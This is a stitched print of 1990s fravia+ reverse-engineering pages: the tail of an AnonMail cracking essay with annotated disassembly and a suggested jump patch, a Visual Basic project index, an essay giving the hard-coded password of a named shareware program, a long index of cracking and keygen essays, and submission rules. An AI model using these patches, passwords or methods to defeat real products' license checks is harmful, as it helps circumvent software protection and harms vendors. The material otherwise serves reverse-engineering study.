Ok, I know, you want to see the protection scheme 'naked', here it is,
as Smartcheck told us: between 12302 and 12321:

ANONMAIL.EXE!12302 the string "12121212" will be


transformed in a Double value.

But at ANONMAIL.EXE!12321 we have some check:


and our target, at 1732E, gives us 'Invalid Registration Code'
(which is fetched at 4215BC)

:00412301 FF15D0B24100 Call dword ptr [0041B2D0] ;MSVBVM50.__vbaR8Str


:00412307 DC9D74FFFFFF fcomp qword ptr [ebp+FFFFFF74] ;comp stack
:0041230D DFE0 fstsw ax ;store NPX/FPU status word in ax
:0041230F F6C440 test ah, 40 ;logical AND of ah
:00412312 7507 jne 0041231B ;get good flag
:00412314 BE01000000 mov esi, 1 ;BAD flag
:00412319 EB02 jmp 0041231D ;don't get GOOD flag

:get_bad_flag
:0041231B 33F6 xor esi, esi ;Not a loser any more :-)

:continue
:0041231D 8B03 mov eax, dword ptr [ebx]
:0041231F 50 push eax
:00412320 FF15D8B14100 Call dword ptr [0041B1D8] ;MSVBVM50.__vbaLenBstr

So, what about modifying


:00412312 7507 jne 0041231B ;get good flag if password guessed
into something more nice (well, you can choose your crack, I'm not
going to crack targets for anybody!)

Well, what d'you say?


What about thank-you fravia+ and thank-you Numega?

I'll add something equally interesting: our enemies at Micro$oft have


just released a visual debugger: Windebug. I have news for those of you
that don't use it: it's jolly good (if a little bugged).

I'm using in this very moment on another window of my screen,


You'll be able to download Micro$oft's WINDBG for free on any
Micro$oft's site round the world: I have taken mine from

http://www.asia.microsoft.com/msdownload/platformsdk/sdktools.htm

for download timezone reasons, yet you'll find it elsewhere.

As soon as you'll have tried it, you'll see that this program
(which packed can find place on a single floppy: it's
IWINDBG.EXE.EXE, 1.259.152 bytes) does indeed cut the mustard.

Just try working with it, and tell me if the option

http://www.instinct.org/fravia/anonma2.htm (6 of 7) [2/7/2001 3:11:03 PM]


anonma2.htm
"view/memory/byte/fill window" is or not a pretty useful one for
our purposes :-)

There is a lesson here: Micro$oft is catching up even in the


most sacred of our grounds: our tools. Yet the reason I spoke
about this tool here is that it makes a very good complement
to Smartcheck if you want to check some snippets on the fly.

I have worked on AnonMail with Smartcheck and IDA, but I'm


now working on other projects and I'm now reversing with Smartcheck
and WINDBG. Believe me, it's great fun! (And you learn a lot
about reversing software, which is the real reason we are all
here in the first place :-)
(c) fravia+ All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

project2 project8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/anonma2.htm (7 of 7) [2/7/2001 3:11:03 PM]


+HCU - project 8 - Visual Basic

+HCU ~ Project 8
Visual Basic reverse engineering

Visual Basic reversing

project started in may 1997


last update: October 1999
Courtesy of Fravia's page of reverse engineering

Our Visual Basic project


A most important project, since this language, overbloated as it may be, is getting, thank Micro$oft's
money and clout, more and more widespread... as you'll see perusing these essays, Visual Basic
demonstrates ad abundantiam a well know reversing paradox: the more overbloated the language used
for a protection scheme, the more easy it is to tackle it "from underneath" and cut its belly with our razor
sharp assembly knifes!
There is a quite interesting lesson for shareware programmers and other wannabye protectors in here:
IF VISUAL BASIC THEN CRACKED AT ONCE
Therefore, DO NOT USE visual basic... or if you really think you must, at least prepare your protection
schemes in assembly, so learn assembly, so forget Visual Basic... it's the devil (cracker) circle! :-)
PHASE 1 by Razzia:

How to crack all Visual Basic programs, 09 May 1997


(a real, great tutorial) -
PHASE 2 by +Sync:

Visual Basic 4 cracking for newbyes, 13 May 1997


(hardwired passwords in stupid programs) -
PHASE 3 by +Zer0:

A decompiler is enough!, 16 July 1997


An important lesson for visual basic shareware programmers -
PHASE 4 by Frog's print:

A decompiler is more than enough!, 20 July 1997


Another important lesson for visual basic shareware programmers -

http://www.instinct.org/fravia/project8.htm (1 of 3) [2/7/2001 3:11:05 PM]


+HCU - project 8 - Visual Basic

PHASE 5 by +PopJack:

Reverse Engineering VBX Custom Controls, 26 September 1997


VBX custom controls - an introduction
PHASE 6 by flipper:

An Explanation of how Make_Mak for Visual Basic Works, 20 October 1997


A Visual Basic tough protection?
PHASE 7 by sth:

Visual Basic - VB40032.DLL comparison code, 21 October 1997


Visual Basic 4.0 how-to additions to Razzia's writings and Softice BPX problems
PHASE 8 by fravia+:

Like watching a movie!, 7 November 1997


An interesting tool: Numega's Smartcheck
PHASE 9 by +drlan:

MCSE MCNE tests - BeachFront Quizzer, 7 November 1997


Visual Basic: the weak point inside VBRUN300.DLL
PHASE A by intruder mexelite97:

Happy VB5 cracking, 20 December 1997


Blackwindow's demise ~ IF visual basic THEN cracked at once
PHASE B by +PopJack:

OCX Control Highlights - Licensing schemes, 17 January 1998


the OC25.dll Ord{027Eh} call trick
PHASE C by Hs2L:

An example of VB Cracking using SmartCheck, 25 February 1998


Mighty Smartcheck!
PHASE D by Duke

Inside the VB3 .EXE, 08 March 1998


An exploration of the inner workings and structure of the Visual Basic 3 Executable file
PHASE E by +Indian_Trail

http://www.instinct.org/fravia/project8.htm (2 of 3) [2/7/2001 3:11:05 PM]


+HCU - project 8 - Visual Basic

BEGINNERS: Pluckit 3.0 Hip Hip Hurray for Smartcheck, 04 May 1998
Smartchecking a registration number
PHASE F by Little-John

Visual Basic Unprotection... , 04 May 1998


Programmers: don't protect with visual basic!
Let's "rationalize"... (ready for the great perl scripts... :-)
Visual Basic Coprocessor cracking:
29 June 98 Wyatt~ wyatt_vb.htm proj 8 ~ fra_0132
Wave Events v2.0
VB6-Pcode Reversing - Cracking a
03 October 99 CyberBlade ~ cb_vb6_1.htm VB6-Pcode Crackme, visual basic proj 8 ~ fra_0132
reversing

homepage links anonymity +ORC students' essays tools academy


counter measures cocktails antismut search_forms mail_fravia
Is reverse engineering legal?

And a little advertisement: try fravia now, you won't regret it!

http://www.instinct.org/fravia/project8.htm (3 of 3) [2/7/2001 3:11:05 PM]


sync

Visual Basic 4 cracking for newbyes


by +Sync, May 1997

Courtesy of fravia's page of reverse engineering

At least a crack from +Sync (it was almost time, we thought he had disappeared in some phrozen crew reservoir :-)
Although very simple, this small essay will be very useful for newbyes, as +Sync writes

How to Crack SSS Convertable by Scientific Solutions Software


by +Sync
May 12, 1997

Get software at: http://members.aol.com/sss5000/

I am almost embarrassed to be typing this. This piece of software is


the biggest piece of shit I've ever seen (shouldn't be surprised considering
the 'company' who makes it has a web page at aol). I downloaded this program
because it actually does something useful for me, being an engineering
student, which is unit conversions. I saw that it had a password protect on
it, and figured a good tutor on how to dis-assemble some code and work
backwards to get the correct password would be useful. However, this program
is not even that advanced. Here's what I did, I present this as a good method
to follow, most cracks are not this easy. However programmers are idiots, and
here's proof.
Like always the first thing I do is install the program and run it
once to see what is going on. I found that by choosing 'Register' from the
'Help' menu I was prompted to enter a password. I wrote down the text exactly
as 'Enter the password to unlock below:'. So I closed the program and opened
up CONVERTABLE.EXE in my hex-editor and took a look. The first thing I
noticed by scrolling down about half a screen was the text 'VB40032.DLL' .
Oh shit, a VB program. This tips us off to several things.
1. The programmer is a moron and can't program a real language. Expect bugs.
2. The program is SLOW.
3. Tracing with Winice would not be fun.
4. Text strings are stored in Wide Format.
The fourth item is worth discussion. VB 4.0 stores strings with their
characters separated by hex 00. Just to double check this, I search through
the file looking for 'Enter the password' and get nothing. So I search for
the string in wide form.
Hex: 45 00 6E 00 74 00 65 00 72 00 20 00 74 00 68 00 65
text: E . n . t . e . r . . t . h . e
And needless to say I find the text. It is at offset 7DBA. I look around in
the file and directly after this I see, in wide form again, the word
'Garbonzo' at offset 7E56. No fucking way. The password is hard coded into

http://www.instinct.org/fravia/sync.htm (1 of 2) [2/7/2001 3:11:08 PM]


sync

the file in (almost) plain text. What a fucking moron (see #1 above). Go
into the program and type Garbonzo in for the password and see if it works,
then immediately delete this program.
So, what have we learned? Unfortunately not much. However, the main points
of this whole mess are:
1. Check the obvious answer first, don't make things harder than they are.
2. Know your enemy. If I had not know that VB 4 used wide format, I would
have searched vainly for text in the program and never found it.
3. Use the correct tool for the job. This crack required only 1 tool, your
trusty hex-editor. While I also cracked this program with winice by
putting break points on the password I typed in, why go to the trouble to
search for the answer, when the author has given it to you?

I am writing this file with the hope that it will be useful to someone.
While this one is short, and obvious to anyone with any experience, there are
those out there who do not see the easy answer first. Beginners must learn to
walk before they can run. To the next generation of crackers who replace my
generation I say this: Cracking is the most noble art. Learn it and respect
it.

Note: This company has several other programs out, and probably equally
stupid protections on them.

+Sync

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC student


tools javascripts cocktails search_forms mailFraVia

Fravia 13 May 1997

http://www.instinct.org/fravia/sync.htm (2 of 2) [2/7/2001 3:11:08 PM]


student.htm +HCU projects and essays

Updated 12
February!

(Link to index.html and don't link directly to this page any more... page names will rotate monthly :-)

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

projects and essays


by various +ORC's students (and friends)

Where d'you want to go today?

Go to the specific history of the student.htm page


D'you prefer the synthesis of the +HCU projects?
Or d'you want to see the list of all "non-project" essays?
There is also a section Attention shareware programmers
And a very important section Rules and regulations for submission
Nope! I just want the most recent three essays on this page.

Hei! Don't forget to check +gthorne's OTHER +HCU page!

Attention shareware
programmers
You'll find a LOT of useful tricks in order to better protect your software inside
the shareware programmer corner

Hey, wanna work for the +HCU ?

Some of you are really good, and will surely, IMO, pass next year's strainer (for the +HCU 1999... should be

http://www.instinct.org/fravia/students.htm (1 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

published by +ORC in April 1998)... in the mean time... would you like to work already NOW for the +HCU?
Please do, we have already more than 90 contributors (+HCUkers and friends alltogether), yet we need more help!

You may join right now one of the following ongoing projects:

Wdasm cracked, all versions until Project CLOSED!


Project_0 Wdasm cracking ~
8.7 15 Oct 97
Hexeditors, IDA and other VERY new stuff inside
Project_1 "Tools of the trade" ~
important targets 11 Jan 1998
Numega's 14 days trial protections
Numega reverse engineering Project CLOSED!
Project_2 - Winice 95 and Winice NT and ~
(Softice) 27 Oct 97
Boundschecker and Smartcheck
(Dongleling donglelong! The
new stuff inside:
Project_3 Dongle reverse engineering "renaissance" of a truly interesting ~
03 Feb 1998
cracking art!)

Project_4 new stuff inside:


CD-ROM faking (Here we need more help!) ~
27 Dic 1997
Let's have apps as they should
Project_5 already have been... Let's add new new stuff inside:
Netscape reverse engineering ~
functionality & destroy cookies 20 Sep 1997
and applets
and other "missing parts" new stuff inside:
Project_6 Save disabled targets ~
protections... ("crippledwarez") 27 Jan 1998
"Most stupid protection" new stuff inside:
Project_7 Incredible but true ~
award 31 Dec 1997
Visual Basic reverse Overbloated languages have new stuff inside:
Project_8 ~
engineering simple protections 17 Jan 1998
All Micro$oft protections
new stuff inside:
Project 9 Microsoft bashing explained, see +ORC's 4.2 and ~
28 Dec 1997
WORK
(see Razzia's Visual Basic *.dll
tutorial, my filemon1.htm and
VisualC++ "*.DLL reverse not yet: will start
Project_A WORK!... a first essay on ~
engineering" as soon as possible
MSVCRT.dll reverse engineering
has been published here)
(This is a very important NEW
sector! The +HCU is HIRING
Demos and Intros not yet: will start
Project_B demo experts able to reverse ~
reverse engineering as soon as possible
engineer the NEWEST GRAPHIC
TRICKS of the demomakers!)
Special +HCU's projects

http://www.instinct.org/fravia/students.htm (2 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

Protecti How to protect better... teasers, new stuff inside:


Our protections ~
models and solutions 18 Jan 1998

Ourtools Tools to reverse the hell out of it: new stuff inside:
Our own tools ~
an +HCU workshop 01 Feb 1998
How to defeat us crackers at our new stuff inside:
Programmer's corner The Anti-cracking side ~
own game 12 Feb 1998
Compacted programs reverse
new stuff inside:
Projunpa Packers & Unpackers engineering: ~
02 Feb 1998
TRON, RTPatch, Protexe,
+HCU's Taxonomy

The best essays (Advanced


new stuff inside:
Advanced Advanced cracking cracking series - started October ~
12 Feb 1998
1997). Not for beginners!
Timelock dll cracking, the
new stuff inside:
Timelock Timelock cracking tl32v20.dll and various "timelock" ~
20 Jan 1997
vagaries
Various "snippets" about (more or new stuff inside:
snippets Snippets ~
less) useful tools 21 Jan 1998

Rules and regulations


Before submitting an essay, please read the Rules and regulations page.

And now... and now... and now...!


~

The GREAT students' essays


Here they are: marvellous reading! It's almost unbelievable: the quantity (and the quality) of the essays is more
and more impressive. Please bear with us the temporary "confusion" ruling this part of this site... we will try to
create various section and to "organize" this material
Some of the following essays are "outstanding", some are VERY good, and some are only "good"... yet I believe
that all these essays are JUWELS of knowledge, and that if you are serious about studying reverse engineering you
should read them ALL (slowly, and working on what you read). I learned a lot, that's for sure :-)

BE WARNED: A lot of essays have been "moved" inside the various "projects" above!
The following roster lists only the essays that have NOT YET found a place inside a"project"... se the academy
pages in order to have a COMPLETE list of all essays.. check the complete +HCU database!
(Just click onto the gif below)

http://www.instinct.org/fravia/students.htm (3 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

Here the "unassigned" essays:

The mathematical coprocessor protection by swann (very interesting) - 02 March 1997

The DOS4GW CD-ROM timestamp by Yamato (he got a new lesson from +ORC for this) - 05 March 1997

Windows 95 Screen Saver Passwords reverse engineering by Lonely Hawk (cryptography) - 20 March 1997

How to reverse engineer AMU for Win95 by Aesculapius - 30 March 1997

How to reverse engineer Xferpro by Aesculapius - 02 April 1997

How to reverse engineer Siren Mail 3.0.0 by +gthorne - 02 April 1997

How to reverse engineer CuteFtp 1.8 (32 bit version)


(The hidden file algorhitm protection) by +Rcg - 08 April 1997

How to reverse engineer ProPinball


(heavy location fetching) by siuL+Hacky- 26 April 1997

How to reverse engineer Portscan v1.2b1


(More about password xoring protection schemes) by Hackmore Readrite - 05 May 1997

Homesite secrets
(Windows95 registry reverse engineering) by Epic Lord - 06 May 1997

Defeating Pete Norton's protections


(PCAnywhere Version 7.5) by Hackmore Readrite - Revised version: 3 July 1997

How to crack VideoCraft Gif Animator


(magic numbers galore) by desert eagle - 12 May 1997

Cracking Sega games


(Once you learn the art you reverse engineer whatever you want) by +Rcg - 13 May 1997

The flag's faking approach


("Brute force" cracking by Xoanon) - 13 May 1997

http://www.instinct.org/fravia/students.htm (4 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

Reverse engineering of Crypt-o-Text v1.21 & v1.24


(Encryption cracking) by CASIMIR - 21 May 1997

How to Neuter WebWhacker V2.0


(dead listing persistence) by +daQ - 26 May 1997

An interesting tool: BRW


(32-bit reverse engineering) by fravia+ (MSRE) - 26 May 1997

Use of the Win32 API


(WebGenie Software's Downfall) by Saltine - 28 May 1997

Networker, the mistery of the missing file


(how to reverse engineer logically, without too much listing) by Hackmore Readrite - 28 May 1997

How to crack the "uncrackable" test4 by LordByte


(bytes rolling and xoring, table protections) - by Croock, 30 June 1997

How to reverse engineer SERV-U32(FTP Daemon)


(Reconstruction of a missing file) - by TheChineese 03 July 1997

The Eudora serie


How to reverse engineer EUDORA PRO 3.0
(Time trial protection busting) by +Rcg - 30 April 19970

How to reverse engineer Eudora 301's three protections


(How many days left routine - last bytes routine) - by TheChineese 02 July 1997

Reverse engineering Serif PagePlus 4 Trial Edition


(Universal Double protections: time *and* registration number) - by ReZiDeNt - 08 July 1997

Reverse engineering NetScanTools' protection scheme


(How we DON'T crack a really good protection :-) - by Hackmore Readrite - 08 July 1997

A good protection scheme: ZMUD 4.62


(Expiring Registration Codes - A New Breed) - by +Sync - 09 July 1997
_____Help +Sync finish a difficult crack_____
With an addition by Epic Lord! - 25 July 1997

Going undercover and browsing on your own proxy


(hiding Windows applications, cracking Wingate, registry settings) - by +Yamato - 10 July 1997

A tough protection scheme: Advanced Disk Catalog

http://www.instinct.org/fravia/students.htm (5 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

(Redundant instructions: the undiscovered treasure) - by Aesculapius - 21 July 1997

Adobe's Pagemill Version 2


(bpmd, the 13C680 (15 days) count, registry jongling, stack adjusting) - by Kox - 25 July 1997

How to crack Business Card Designer Plus v5.00b


(The Maths behind a Key Generator) - by plushmm - 26 July 1997

Photoshop Filter Hacking


(registry monitoring) - by +daQ - 31 July 1997

ASM Keygenerator tutorial


(rippng and assembling keygenerators) - by Teraphy - 06 August 1997

Lazy software programming


(The last essay on simple password protection schemes) - by Plushmm - 11 August 1997

Windows Commander 3.02


(An "antivirale" protection scheme defeated) - by iNCuBuS++ - 11 August 1997

ASM Edit 1.82a, protected mode cracking


(An excellent use of TSR Cracking) - by madmax! - 13 August 1997

Reverse engineering Windows 95 itself


(Understanding our trade) - by +Rcg - 17 August 1997

aUTOWINNET 95 v4.0b
(An interesting protection based on a "weird" use of a keyfile) - by xOANON / UCF - 19 August 1997

razzia's Tutorial on Key Generators


(Updating a fundamental essay) - by razzia - 22 August 1997

Cracking DNS WORKSHOP


(Teaching a decryption process step by step) - by razzia - 27 August 1997

PhotoVista v1.0 crack Step-by-Step


(A "smearing" protection reverse engineered) - by Nop - 27 August 1997

A "Laying Eggs" target


(reverse engineering a paranoid and tough protection scheme) - by Kox - 30 August 1997

Novell Netware 3.12


(Netware reverse engineering - basic) - by The Undertaker - 03 September 1997

Cool 3D by Ulead - up against nags and smears


(Easy unsmearing and denagging - basic) - by Drlan- 03 September 1997

http://www.instinct.org/fravia/students.htm (6 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

Taming Monsters, finding clowns


("Easter eggs galore") - by fravia+ - 04 September 1997

Little Cracking Exercises for Newbyes: Simply 3D


(Explained easy targets for our future +friends) - by n00se - 04 September 1997

Webpages source fishing


(Javascript "protections") - by jcr - 08 September 1997

Phone Book Pro 97 v2.31.0 build 482


(Vindicating the "blacklisted" Phrozen crew) - by Silicon surfer - 08 September 1997

How to fix incomplete posted warez


(Previewing the contents of ZIP files before downloading them) - by the kenZone - 10 September 1997

Encryption, a short tutorial


(How to reverse engineer encrypted files) - by Jon - 12 October 1997__NEW!__

Novell Netware 3.12 (2)


(Studying the Licensed User Limits) - by The Undertaker - 13 September 1997

Fido2Int mailer v. 2.00 Key Generator


(A tough Key File Based Protection Scheme) - by Aesculapius - 13 September 1997

Symantec Visual Cafe


(Demonstration of some principles of code reading) - by Crushed_ICE - 17 September 1997

Enterprise REXX
(Reversing a "tool of the trade) - by +drlan - 18 September 1997

MKS Toolkit Release 5.2


(150 identical protection schemes) - by +drlan - 18 September 1997

TTFPlus 3.3 32-bit demo


(A "quiver" in Visual Basic 5) - by Vizion - 18 September 1997

Regview: the 2 minutes crack


(encrypted counters) - by +Rundus - 20 September 1997

A little tutorial on key generators


(Netscape Cache Explorer) - by +MaLaTTiA - 20 September 1997

Jeremy Lilley's protexe! exe/com v5.5


(Exploring a weak protection scheme) - by The Undertaker - 24 September 1997

http://www.instinct.org/fravia/students.htm (7 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

The "call relocation table" and its importance :-)


(Some teachings from a small protection inside sruler) - by fravia+ - 25 September 1997

How to Reverse Lotus SmartSuite-97


(Date coding magic number galore) - by +Rcg - 26 September 1997

Blowfish Advanced 97 beta 1


(encryption decryption) - by Jon - 12 October 1997__NEW!__

Wingroove V0.9e for Windows (v3.1 and Bug '95)


(the 'PrestoChangoSelector' encryption method) - by dph-man - 14 October 1997__NEW!__

Reverse engineering the Linux OS, a first approach


(disassembling Linux) - by SiuL+Hacky - 15 October 1997__NEW!__

Cracking (partially) Java Workshop 2.0


(getlocaltime and getsystemtime galore) - by +Alt-F4 - 21 October 1997 - 3 January 1998__NEW!__

Norton speed disk trial 1.0 for Windoze NT4


(The mysterious IRATRIAL.DLL and the "vectoring breakpoint" trick) - by FootSteps - 21 October
1997__NEW!__

Norton speed disk trial for Windoze NT4 (second part)


(An Addendum to the no more mysterious IRATRIAL.DLL) - by FootSteps - 27 October 1997__NEW!__

HyperChem 5.0 - 'Same old sauce'


("Don't lure us any more") - by +Sync - 27 October 1997__NEW!__

Adaptec DirectCD Upgrade - IDA for beginners


("Software updates: 'Previous version' checks") - by zeezee - 5 November 1997__NEW!__

The 'Commercial protection schemes' serie


(saving the gullible shareware programmers from commercial crooks)

Cracking Unlocker for newbyes


(Defeating Lame Commercial Protection Schemes) - by +DataPimp - 2 November 1997

"A Software Licensing System designed to provide invisible security"


(Spectralab 4.32: How to PATCH) - by +joNaH - 11 November 1997

Dongle Bashing ~ End of the dongle old aera


(How a single +HCU reverser can easily blow a whole commercial sector out of history)

http://www.instinct.org/fravia/students.htm (8 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

by Frog's Print - 29 January 1998 __NEW!__

How to USE nag screens


(Nagscreens and CRC checking show us the way) - by ^pain^ - 11 November 1997

How to make key generators


(Reversing some 'mathematical' routines) - by ^pain^ - 11 November 1997

Linux cracking: the live approach (acrobat reader)


("Linux advanced reverse engineering: imported functions") - by SiuL+Hacky - 12 November 1997

Mark's 14 protector's commandments


(And other useful tricks of a programmer-cracker) - by Mark - 13 November 1997

O'Basic - a script language and a real joke


(meeting and defeating an unknown DLL) - by Pepper - 20 November 1997

Cracking MicroSoft ACCESS as a programming language


(how MS helps to open a nice program) - by Pepper - 20 November 1997

BEGINNERS: Slowly cracking a paranoid protection


(The importance of a methodological approach and an 'hidden file' scheme)
by Indian_Trail - 20 November 1997

UNBOX: Why and how to create complete Crack Systems


(RSAGNT32.DLL cracking and a nice trick to avoid difficult memory CRChecking)
by Pepper - 21 November 1997

CRACKING BORLAND'S VCL PROGRAMS


(High level languages allow high level cracking)
by +trurl - 24 November 1997

MemMonitor95 Standard 4.0 and its ThunkConnect32 relations


(Half-crippled program / Unhiding an hidden window / Thunk vagaries)
by FootSteps - 24 November 1997

UncleVan's "live approach" techniques (for beginners and semy-advanced)


(simple nag-screen (-dialogs) removing, limit-protection cracking, fishing serialz, and some key- generator
programming)
by UncleVan - 29 November 1997

How to keep uptodate with the +HCU academy


(Cracking The Maze Of Essays At fravia+ Web Site)
by wlc - 29 November 1997

Software history and cracking (CuteFTP)

http://www.instinct.org/fravia/students.htm (9 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

("Regmon and Filemon and your cracking is almost don" :-)


by +Rcg - 07 December 1997__NEW!__

DOS Navigator v1.50: how to spy our targets


(TSR spying and "classical old style" cracking)
by Frog's Print - 10 December 1997__NEW!__

Palmtops cracking (HP100/200lx)


(A -LATE- TUTORIAL FOR THE HP 100/200lx)
by Frog's Print - 10 December 1997__NEW!__

Kremlin 2.0: they learn, we learn


(Lesson for shareware-programmers: Don't place the protection scheme in a DLL)
by Jon - 24 December 1997__NEW!__

Control panel applets cracking


(Cracking Seattle Labs' SlMail 2.6 Build 1098)
by flipper - 01 January 1998__NEW!__

Game hack secrets


(how to stop lamers from hex-editing your cracks)
by Jon - 05 January 1998__NEW!__

How to crack HTMLedPro32 2.0d


(Destroy it to make it work)
by Edi - 02 February 1998__NEW!__

Cracked Metal, runtime dll creation


(Cracking HoTMetaL Pro 4 Evaluation Version)
by Fallen - 04 February 1998__NEW!__

BEGINNERS: KeyGenerator for AddItem:


(Turning a *NAG* into a keygen)
by Jon - 12 February 1998__NEW!__

+HCU's Taxonomy!
You'll find some new "subdivisions":

Advanced cracking

http://www.instinct.org/fravia/students.htm (10 of 11) [2/7/2001 3:11:26 PM]


student.htm +HCU projects and essays

Advanced cracking series


(Started 19 Oct 1997 - Updated 12 February 1998)

Timelock cracking

TL32V20.dll
(Started 07 May 1997 - Updated 20 January 1998))

Snippets

Various "snippets" about (more or less) useful tools


(Started 28 Oct 1997 - Updated 28 January 1998)

feel free to send good commented essays


please read the Rules and regulations section before submitting an essay.

homepage links anonymity +ORC tools counter measures


cocktails javascripts search_forms antismut mail_fravia+
Is reverse engineering legal?

There is a crack, a crack in everything


That's how the light gets in

fravia+ January 1998

http://www.instinct.org/fravia/students.htm (11 of 11) [2/7/2001 3:11:26 PM]


student

Rules and regulations for submission

Version January 1999


Dude, help me or I won't be able to publish your essay!

VERY IMPORTANT !
Please download this FORMATTING MUSTER and use it, pasting your essay inside it. If I decide to publish, I'll
eventually add my comments, after having read your essay (duh), you'll always be free to ameliorate or update your
essay once published, provided you have used this muster, yet you should check thoroughly your work before
sending it, else I promise you that you'll regret it.

Please DO NOT SEND ME ANY "obvious" cracks, I feel always uneasy in refusing to publish someone's work, but
I will not publish useless cracks any more. This is a site for software reverse engineering, and cracking protection
schemes is only a tiny part of it, albeit important to lure young bozos crackers on the correct (i.e. white or red)
knowledge paths :-)
Once more: noone could care less about the kind of software you crack, what's important is the reversing method in
itself, not the target you have chosen. Therefore, unless your work refers to one of the BASIC tools we have to use
(softice, wdasm, IDA, other debuggers, resource editors, memory sniffers and so on, those essays are always
welcomed), or unless your work refers to an extremely stupid protection , please send only cracks referring to
WEIRD protection schemes or to protection schemes that have NOT yet been explained enough. And we would still
prefer essays about general software reversing and crippled functions enabling. You dig it?

Feel free to work on any one of the +HCU projects... all relevant results will be collected and published
- Please don't send obvious cracks!
- Please remember that noone cares about WHAT you crack (with rare exceptions), software comes and goes and
there are zillion of warez sites on the web to get it regged for free... the only important and really ever lasting thing
of your work is the "reverse engineering" part

- If you use a lot of code, please explain the protection scheme first, clearly and deeply, hyperlinking the commented
code
- Please don't forget, for your target, to state exactly its VERSION, its EXACT NAME AND WHERE TO FIND
IT... (you are not +ORC... and we are not amused to have to seek the archies for very rare targets :-)
- It would always be better if you give an email address where people can reach you with feedback and questions
(I'm not going to push messages around), yet if you really feel that you must, you may also send anonymously, in
that case please don't forget to indicate which handle you would like
- Please CHECK yourself that your essay does not blow Opera's or Navigator's marges out (just look at it in Opera,
if it looks good in Opera it will work with any other decent browser of this planet)
- Please spellcheck your text YOURSELF! (No vulgarities either, please, nor SuCh SilLy TExt, do use normal
capitalization. Separate your paragraphs with blank lines. Make your message inviting to your potential readers)
- Please eliminate from wdasm code all useless parts ("a jump" instead of "a (c)onditional or (u)nconditional jump",
"1" instead of "00000001", and so on, just do yourself the search and replaces, please)
- Please: LESS CODE! MORE EXPLANATIONS! A good essay does not need much code, (a very good essay does

http://www.instinct.org/fravia/rules.htm (1 of 3) [2/7/2001 3:11:29 PM]


student

not need ANY code) and if you really need much code then EXPLAIN EVERY LINE! (and automagically you'll
immediatly realize that you did not needed that much :-)

Question:

"Hey! What the heck should I reverse engineer then?"

Answer:
* Demomakers' creations (graphic in assembly)
* Dongles (see Project3)
* CD-ROM bound (see Project4)
* Save disabled (See project6)
* Quivers (See for instance +ORC's 4.1 or Vizion's essay)
* Orwellian targets (See Project9)
* DOS/Protected/Unix reversing are WELCOME!
* Perl scripts and site-busting techniques

* And you may try your hand at reality cracking as well...

Feel free to send good commented essays, I'll publish them (if necessary slightly modified) if worthy, well
documented and not vulgar... once more, please, don't forget to download this FORMATTING MUSTER and use
it, pasting your essay inside it.

THE MOST IMPORTANT THING IS THE "INTUITION"


PROCESS YOU HAVE FOLLOWED REVERSING YOUR
TARGET
The actual crack is NOT very important... we all know how to crack protection schemes, once we find them.

So the real problem is mostly to land in the correct part of an overbloated code monstrosity, to understand some new
anti-reversing tricks, to follow a lead inside the dark codewoods. By all means the purpose of our activity is NOT to
give to the lusers a ready-made crack receipt... there are hundred of wannabye crackers that do just that all the time...
if you are here because you need the crack for a given program you are at the wrong address... here you will only be
able to learn how to do it yourself, and this requires some grey matter inside your skull, serenity and cogitation.

As master +ORC wrote once upon a time: you are going to learn a difficult art, not how to use ad nauseam simple
techniques

So: New protections, unusual protections, funny undocumented functions, "hidden" or "concealed" activities of your
targets... this is interesting: HOW DID YOU SUSPECT IT? HOW DID YOU FIND IT? And only then, eventually,
you can also add how you did crack it...but this is the most banal and less interesting part of your essay, believe me.

The less code you use in your essay and the more explanation you give about the TRY AND ERROR methods you
have followed the better for those that are reading you and that mostly DO NOT CARE AT ALL for the target you
are cracking in itself, as strange as this may appear to you... as a matter of fact they want to crack (or to protect)

http://www.instinct.org/fravia/rules.htm (2 of 3) [2/7/2001 3:11:29 PM]


student

completely different programs!

I wanna submit my essay, dammit!

homepage links anonymity +ORC students' essays tools academy


counter measures cocktails antismut search_forms
Is reverse engineering legal?

http://www.instinct.org/fravia/rules.htm (3 of 3) [2/7/2001 3:11:29 PM]


xxxxxxxx.htm: Your_title

Your_first title
Your_explaining second title Not Assigned

Your_date by Your_handle
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
fra_00xx
98xxxx
handle I'll comment after having read it (you may of course comment my
1100 comments, I'll probably publish that as well :-)
NA
PC
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner ( )Intermediate ( )Advanced ( )Expert

Your_(short)_comments here, after having checked yourself the above "rating" subdivision... here you
have an example of a possible short comment:
"An useful essay for beginners in order to see how a concealed call into a protection scheme can easily
be dealt with"
Don't confond this with the introduction to your essay, that you'll write below. Here you should only
write a short comment to let people understand who should read your stuff.

Your_title
Your_subtitle
Written by Your_handle

Introduction
Your_introduction

Tools required

http://www.instinct.org/fravia/formamus.htm (1 of 2) [2/7/2001 3:11:31 PM]


xxxxxxxx.htm: Your_title

Your_tools

Target's URL/FTP
Your_target's_url_or_ftp_locations

Program History
Your_target's_history (if any)

Essay
Your text, duh

Final Notes
Your_final_notes (if any)

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/formamus.htm (2 of 2) [2/7/2001 3:11:31 PM]


Essays for Beginners

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

Academy of reverse engineering


The Beginner Essays

